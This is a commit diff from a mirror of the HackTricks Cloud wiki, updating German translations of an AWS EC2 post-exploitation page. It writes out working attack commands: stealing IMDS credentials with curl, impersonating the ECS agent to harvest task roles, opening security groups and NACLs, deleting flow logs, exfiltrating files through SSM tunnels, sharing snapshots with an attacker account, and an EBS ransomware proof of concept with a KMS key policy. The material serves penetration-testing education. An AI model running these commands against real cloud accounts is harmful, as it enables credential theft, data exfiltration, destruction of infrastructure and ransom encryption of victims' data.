mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 23:01:43 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -12,8 +12,9 @@ Für weitere Informationen siehe:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **dupliziert eingehenden und ausgehenden Traffic für EC2 instances innerhalb einer VPC** ohne dass etwas auf den Instances selbst installiert werden muss. Dieser duplizierte Traffic wird üblicherweise an etwas wie ein network intrusion detection system (IDS) zur Analyse und Überwachung gesendet.\
|
||||
Ein Angreifer könnte dies missbrauchen, um den gesamten Verkehr zu erfassen und daraus sensible Informationen zu gewinnen:
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** ohne dass auf den Instanzen selbst etwas installiert werden muss.\
|
||||
Dieser duplizierte Traffic würde üblicherweise an etwas wie ein network intrusion detection system (IDS) zur Analyse und Überwachung gesendet werden.\
|
||||
Ein Angreifer könnte dies missbrauchen, um den gesamten Traffic abzufangen und daraus sensible Informationen zu gewinnen:
|
||||
|
||||
Für weitere Informationen siehe diese Seite:
|
||||
|
||||
@@ -23,7 +24,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances enthalten normalerweise eine Art sensible Informationen. Es gibt verschiedene Wege, um sich Zugriff zu verschaffen (siehe [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Eine andere Möglichkeit, um zu prüfen, was sie enthält, ist jedoch, **eine AMI zu erstellen und daraus eine neue instance (auch in Ihrem eigenen Account) zu starten**:
|
||||
Instanzen enthalten normalerweise sensible Informationen. Es gibt verschiedene Wege, hineinzukommen (siehe [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Allerdings ist eine andere Möglichkeit, den Inhalt zu prüfen, **ein AMI zu erstellen und daraus eine neue instance (auch in deinem eigenen account) zu starten**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +50,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots sind Backups von volumes**, die normalerweise **sensible Informationen** enthalten; deshalb sollte eine Überprüfung diese Informationen offenlegen.\
|
||||
Wenn Sie ein **volume ohne einen snapshot** finden, könnten Sie: **einen snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer instance mounten** innerhalb des Accounts:
|
||||
**Snapshots are backups of volumes**, die normalerweise **vertrauliche Informationen** enthalten, daher sollte ihre Überprüfung diese Informationen offenbaren.\
|
||||
Wenn Sie ein **volume without a snapshot** finden, können Sie: **Create a snapshot** und die folgenden Aktionen ausführen oder es einfach **mount it in an instance** innerhalb des Accounts:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +59,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Dies ermöglicht vollständige Offline-Forensik oder Datendiebstahl, während das instance networking unberührt bleibt.
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Dies ermöglicht vollständige Offline-Forensik oder Datendiebstahl, während das Networking der instance unangetastet bleibt.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +67,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nützlich, wenn das Opfer-volume bereits Multi-Attach in derselben AZ aktiviert hat.
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nützlich, wenn das victim volume bereits Multi-Attach innerhalb derselben AZ aktiviert ist.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -82,7 +83,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Ermöglicht das Umgehen interner ACLs oder SG-Regeln, die auf bestimmte Adressen ausgerichtet sind.
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Ermöglicht das Umgehen interner ACLs oder SG rules, die an bestimmte Adressen gebunden sind.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +91,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. Dadurch können eingehende Verbindungen abgefangen oder ausgehende Verbindungen erzeugt werden, die so erscheinen, als kämen sie von vertrauenswürdigen öffentlichen IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +99,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself. Dadurch wird der Zugriff für alle abhängigen SG rules stillschweigend erweitert, ohne die SG selbst zu ändern.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +107,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für data exfiltration.
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für Datenexfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +115,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Ein Angreifer mit der Berechtigung `ec2:AuthorizeSecurityGroupIngress` kann inbound-Regeln zu security groups hinzufügen (zum Beispiel `tcp:80` von `0.0.0.0/0` erlauben) und damit interne Services dem öffentlichen Internet oder sonst nicht autorisierten Netzwerken aussetzen.
|
||||
Ein Angreifer mit der ec2:AuthorizeSecurityGroupIngress-Berechtigung kann inbound rules zu security groups hinzufügen (z. B. tcp:80 von 0.0.0.0/0 erlauben) und dadurch interne Dienste dem öffentlichen Internet oder sonst unautorisierten Netzwerken aussetzen.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Ein Angreifer mit `ec2:ReplaceNetworkAclEntry` (oder ähnlichen) Berechtigungen kann die Network ACLs (NACLs) eines Subnets ändern, um sie sehr permissiv zu machen — zum Beispiel 0.0.0.0/0 auf kritischen Ports zu erlauben — und so den gesamten Subnetzbereich dem Internet oder nicht autorisierten Netzwerksegmenten auszusetzen. Im Gegensatz zu Security Groups, die pro Instanz angewendet werden, gelten NACLs auf Subnetzebene, sodass das Ändern einer restriktiven NACL einen deutlich größeren Wirkungsradius haben kann, da dadurch der Zugriff auf viele weitere Hosts ermöglicht wird.
|
||||
Ein Angreifer mit ec2:ReplaceNetworkAclEntry (oder ähnlichen) Berechtigungen kann die Network ACLs (NACLs) eines subnet ändern, um sie sehr permissiv zu machen — zum Beispiel indem 0.0.0.0/0 auf kritischen Ports erlaubt wird — wodurch der gesamte subnet-Bereich dem Internet oder unautorisierten Netzwerksegmenten ausgesetzt wird. Im Gegensatz zu Security Groups, die per-instance angewendet werden, werden NACLs auf subnet-Ebene angewendet, sodass das Ändern einer restriktiven NACL einen viel größeren blast radius haben kann, indem der Zugang zu viel mehr Hosts ermöglicht wird.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,7 +132,7 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Ein Angreifer mit ec2:Delete*- und iam:Remove*-Berechtigungen kann kritische Infrastrukturressourcen und -konfigurationen löschen — zum Beispiel key pairs, launch templates/versions, AMIs/snapshots, volumes oder attachments, security groups oder rules, ENIs/network endpoints, route tables, gateways oder managed endpoints. Dies kann sofortige Dienstunterbrechungen, Datenverlust und den Verlust forensischer Beweise verursachen.
|
||||
Ein Angreifer mit ec2:Delete* und iam:Remove*-Berechtigungen kann kritische Infrastrukturressourcen und -konfigurationen löschen — zum Beispiel key pairs, launch templates/versions, AMIs/snapshots, volumes oder attachments, security groups oder rules, ENIs/network endpoints, route tables, gateways oder managed endpoints. Das kann zu sofortiger Dienstunterbrechung, Datenverlust und Verlust forensischer Beweise führen.
|
||||
|
||||
Ein Beispiel ist das Löschen einer security group:
|
||||
|
||||
@@ -140,7 +141,7 @@ aws ec2 delete-security-group \
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
Weise VPC Flow Logs auf einen vom Angreifer kontrollierten S3-Bucket, um kontinuierlich Netzwerkmetadaten (Quelle/Ziel, Ports) außerhalb des Opferkontos für langfristige Aufklärung zu sammeln.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,32 +151,70 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
Selbst wenn Sie eine EC2 so sperren, dass kein Traffic nach außen gelangt, kann sie trotzdem **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs werden dies nicht aufzeichnen**.
|
||||
- Du hast keinen Zugriff auf AWS DNS logs.
|
||||
- Deaktiviere dies, indem du "enableDnsSupport" auf false setzt mit:
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- Sie haben keinen Zugriff auf AWS DNS-Logs.
|
||||
- Dies deaktivieren Sie, indem Sie "enableDnsSupport" auf false setzen mit:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Ein Angreifer könnte API endpoints eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird die exfiltrate data in den Cloudtrail logs sehen können.
|
||||
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Accounts aufrufen. Cloudtrail protokolliert diese Aufrufe, und der Angreifer kann die exfiltrierten Daten in den Cloudtrail-Logs sehen.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Du könntest weiteren Zugriff auf network services erhalten, indem du Ports wie folgt öffnest:
|
||||
Sie könnten weitergehenden Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc zu ECS
|
||||
### Privesc to ECS
|
||||
|
||||
Es ist möglich, eine EC2-Instanz zu starten und sie so zu registrieren, dass sie zum Ausführen von ECS-Instanzen verwendet wird, und dann die Daten der ECS-Instanzen zu stehlen.
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
|
||||
Für [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### VPC flow logs entfernen
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
|
||||
A compromise inside any ECS task running on an EC2 container instance is typically enough to pivot into the host role and the IAM roles associated with all the other tasks in that node. Because there is **no task isolation for ECS-on-EC2**, every task can query the EC2 Instance Metadata Service (IMDS) by default, steal the container instance profile, and then talk the same WebSocket protocol that the ECS agent uses to the control plane (the **ECScape** primitive) to request the credentials for every task currently scheduled on that host. Latacora documented this workflow in their [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), which the following offensive summary condenses.
|
||||
|
||||
#### Attack chain
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect.
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
Setting IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Jeder Task bekommt seine eigene ENI, die weiterhin nur einen Hop von IMDS entfernt ist, daher kommen Token- und Metadatenantworten erfolgreich an. |
|
||||
| `host` | ✅ | Tasks teilen den Host-Namespace, daher sehen sie dieselbe Hop-Distanz wie die EC2-Instanz. |
|
||||
| `bridge` | ❌ | Antworten gehen auf der Docker-Bridge verloren, weil dieser zusätzliche Hop das Hop-Limit erschöpft. |
|
||||
|
||||
Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs oder Routing-Änderungen können die link-local Adresse 169.254.169.254 nicht blockieren, weil Nitro sie auf dem Host injiziert. Prüfe `/etc/ecs/ecs.config` auf `ECS_AWSVPC_BLOCK_IMDS=true`. Ist das Flag nicht gesetzt (Default), kannst du IMDS direkt aus dem Task per curl erreichen. Wenn es gesetzt ist, pivotiere in den Host-/Agent-Namespace, um es zurückzusetzen, oder führe deine Tools außerhalb von awsvpc aus.
|
||||
|
||||
- **bridge mode:** Wenn Metadatenanfragen fehlschlagen, obwohl hop limit 1 konfiguriert ist, haben Verteidiger vermutlich eine `DOCKER-USER` DROP-Regel eingefügt, z. B. `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. `iptables -S DOCKER-USER` listet sie auf; mit Root-Zugriff kannst du die Regel löschen oder umordnen, bevor du IMDS abfragst.
|
||||
|
||||
- **host mode:** Prüfe die Agent-Konfiguration auf `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Dieser Wert entfernt Task-IAM-Rollen komplett, du musst ihn also wieder aktivieren, zu awsvpc-Tasks wechseln oder Anmeldeinformationen über einen anderen Prozess auf dem Host stehlen. Wenn der Wert `true` ist (Standard), kann jeder Host-Mode-Prozess — einschließlich kompromittierter Container — IMDS erreichen, sofern keine speziellen eBPF-/cgroup-Filter auf `169.254.169.254` abzielen; suche nach tc/eBPF-Programmen oder iptables-Regeln, die diese Adresse referenzieren.
|
||||
|
||||
Latacora even released [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.
|
||||
|
||||
Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -185,58 +224,58 @@ Erforderliche Berechtigungen:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Neben der Befehlsausführung erlaubt SSM traffic tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben.
|
||||
Ein Szenario, in dem dies nützlich ist, ist das pivoting von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
|
||||
Neben der Ausführung von Befehlen ermöglicht SSM traffic tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben.
|
||||
Ein Szenario, in dem das nützlich ist, ist das Pivoting von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
|
||||
|
||||
> Um eine Sitzung zu starten, muss das SessionManagerPlugin installiert sein: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Um eine Session zu starten, muss das SessionManagerPlugin installiert sein: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installieren Sie das SessionManagerPlugin auf Ihrem Rechner
|
||||
2. Melden Sie sich beim Bastion EC2 mit folgendem Befehl an:
|
||||
2. Melden Sie sich bei der Bastion EC2 mit folgendem Befehl an:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Hole die temporären AWS-Anmeldeinformationen des Bastion EC2 mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) Skript
|
||||
4. Übertrage die Zugangsdaten auf deine eigene Maschine in die `$HOME/.aws/credentials` Datei als Profil `[bastion-ec2]`
|
||||
3. Rufe die temporären AWS-Anmeldeinformationen der Bastion EC2 mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) Skript ab
|
||||
4. Übertrage die Anmeldeinformationen auf deine Maschine in die Datei `$HOME/.aws/credentials` als Profil `[bastion-ec2]`
|
||||
5. Melde dich bei EKS als Bastion EC2 an:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Aktualisiere das `server`-Feld in der Datei `$HOME/.kube/config`, sodass es auf `https://localhost` zeigt
|
||||
7. Erstelle einen SSM-Tunnel wie folgt:
|
||||
7. Erstelle einen SSM tunnel wie folgt:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Der Traffic des `kubectl`-Tools wird jetzt durch den SSM-Tunnel über die Bastion EC2 weitergeleitet und Sie können von Ihrem eigenen Rechner auf das private EKS-Cluster zugreifen, indem Sie Folgendes ausführen:
|
||||
8. Der Traffic des Tools `kubectl` wird nun durch den SSM-Tunnel über die Bastion EC2 weitergeleitet, und Sie können von Ihrem eigenen Rechner auf das private EKS cluster zugreifen, indem Sie Folgendes ausführen:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Beachte, dass SSL-Verbindungen fehlschlagen, sofern du nicht das Flag `--insecure-skip-tls-verify` setzt (oder das entsprechende in K8s Audit-Tools). Da der Datenverkehr durch den sicheren AWS SSM tunnel geleitet wird, bist du vor jeglichen MitM-Angriffen geschützt.
|
||||
Beachte, dass die SSL-Verbindungen fehlschlagen, es sei denn, du setzt das `--insecure-skip-tls-verify` Flag (oder dessen Äquivalent in K8s Audit-Tools). Da der Traffic durch den sicheren AWS SSM-Tunnel getunnelt wird, bist du vor jeglicher Art von MitM-Angriffen geschützt.
|
||||
|
||||
Schließlich ist diese Technik nicht speziell auf Angriffe gegen private EKS-Cluster beschränkt. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS-Service oder einer eigenen Anwendung zu pivot.
|
||||
Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS service oder einer eigenen Anwendung zu pivoten.
|
||||
|
||||
---
|
||||
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Schnelles Lokal ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Wenn du nur **einen TCP-Port von der EC2 instance zu deinem lokalen Host** weiterleiten musst, kannst du das `AWS-StartPortForwardingSession` SSM document verwenden (kein remote host-Parameter erforderlich):
|
||||
Wenn du nur **einen TCP-Port von der EC2-Instanz zu deinem lokalen Host weiterleiten** musst, kannst du das `AWS-StartPortForwardingSession` SSM document verwenden (kein Remote-Host-Parameter erforderlich):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Der Befehl stellt einen bidirektionalen Tunnel zwischen deiner Arbeitsstation (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der Instanz **ohne irgendwelche inbound Security-Group rules zu öffnen** her.
|
||||
Der Befehl stellt einen bidirektionalen Tunnel zwischen Ihrer Arbeitsstation (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der Instance her, **ohne eingehende Security-Group-Regeln zu öffnen**.
|
||||
|
||||
Common use cases:
|
||||
Häufige Anwendungsfälle:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Auf der Instanz einen schnellen HTTP-Server starten, der auf das Verzeichnis zeigt, das du exfiltrate möchtest:
|
||||
1. Starten Sie auf der Instance einen schnellen HTTP-Server, der auf das Verzeichnis zeigt, das Sie exfiltrieren möchten:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Von deiner Arbeitsstation aus die Dateien durch den SSM tunnel abrufen:
|
||||
2. Rufen Sie von Ihrer Arbeitsstation die Dateien über den SSM-Tunnel ab:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
@@ -250,7 +289,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Tipp: Komprimiere und verschlüssele Beweise, bevor du sie exfiltrating, damit CloudTrail den Klartext nicht protokolliert:
|
||||
Tipp: Compress und encrypt Beweismaterial, bevor Sie es exfiltrating, damit CloudTrail den clear-text content nicht loggt:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -259,19 +298,19 @@ Tipp: Komprimiere und verschlüssele Beweise, bevor du sie exfiltrating, damit C
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Nach sensiblen Informationen in öffentlichen und privaten AMIs suchen
|
||||
### Suche nach sensiblen Informationen in öffentlichen und privaten AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das dazu entwickelt wurde, **nach sensiblen Informationen innerhalb öffentlicher oder privater Amazon Machine Images (AMIs) zu suchen**. Es automatisiert den Prozess, Instanzen aus Ziel-AMIs zu starten, deren Volumes einzuhängen und nach potenziellen Secrets oder sensiblen Daten zu scannen.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das dazu entwickelt wurde, **nach sensiblen Informationen innerhalb öffentlicher oder privater Amazon Machine Images (AMIs) zu suchen**. Es automatisiert den Prozess, Instanzen aus den Ziel-AMIs zu starten, deren Volumes einzuhängen und nach potenziellen secrets oder sensiblen Daten zu scannen.
|
||||
|
||||
### EBS Snapshot teilen
|
||||
### EBS Snapshot freigeben
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Ein Proof-of-Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte wegen der Einfachheit, mit der es zur Verschlüsselung verschiedener AWS-Services verwendet werden kann, in RMS für Ransomware Management Service umbenannt werden.
|
||||
Ein Proof of Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte angesichts der Einfachheit, mit der es verschiedene AWS-Services zur Verschlüsselung verwendet werden kann, in RMS (Ransomware Management Service) umbenannt werden.
|
||||
|
||||
Zuerst, aus einem 'attacker' AWS account, erstelle einen customer managed key in KMS. Für dieses Beispiel lasse ich AWS die key data verwalten; in einem realistischen Szenario würde ein böswilliger Akteur die key data außerhalb der Kontrolle von AWS aufbewahren. Ändere die key policy so, dass jeder AWS account Principal den key verwenden kann. Für diese key policy trug das Konto den Namen 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.
|
||||
Zuerst, aus einem 'attacker' AWS account, erstelle einen customer managed key in KMS. Für dieses Beispiel lasse ich AWS die key data verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die key data außerhalb der Kontrolle von AWS behalten. Ändere die key policy, damit jeder AWS account Principal den key benutzen kann. Für diese key policy hieß das Konto 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +402,7 @@ Zuerst, aus einem 'attacker' AWS account, erstelle einen customer managed key in
|
||||
]
|
||||
}
|
||||
```
|
||||
Die Key-Policy muss die folgenden Rechte aktiviert haben, damit sie verwendet werden kann, um ein EBS-Volume zu verschlüsseln:
|
||||
Die Key-Policy-Regel muss Folgendes erlauben, damit sie zum Verschlüsseln eines EBS-Volumes verwendet werden kann:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,21 +410,21 @@ Die Key-Policy muss die folgenden Rechte aktiviert haben, damit sie verwendet we
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Nachdem der öffentlich zugängliche Key verfügbar ist, können wir ein 'victim'-Konto verwenden, das einige EC2-Instanzen mit angehängten unverschlüsselten EBS-Volumes laufen hat. Die EBS-Volumes dieses 'victim'-Kontos sind das Ziel der Verschlüsselung; dieser Angriff geht von einem angenommenen Kompromiss eines hoch privilegierten AWS-Kontos aus.
|
||||
Nachdem der öffentlich zugängliche Key verfügbar ist, können wir ein 'victim' account verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes angehängt hat. Die EBS-Volumes dieses 'victim' accounts sind unser Ziel für die Verschlüsselung; dieser Angriff geht von einem angenommenen Kompromiss eines AWS-Accounts mit hohen Rechten aus.
|
||||
|
||||
 
|
||||
|
||||
Ähnlich dem S3-Ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels Snapshots, verwendet den öffentlich verfügbaren Key aus dem 'attacker'-Konto, um die neuen EBS-Volumes zu verschlüsseln, hängt dann die Original-EBS-Volumes von den EC2-Instanzen ab und löscht sie und löscht abschließend die Snapshots, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. 
|
||||
Ähnlich wie im S3-ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels Snapshots, verwendet den öffentlich verfügbaren Key aus dem 'attacker' account, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die ursprünglichen EBS-Volumes von den EC2-Instanzen und löscht sie, und schließlich werden die Snapshots gelöscht, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. 
|
||||
|
||||
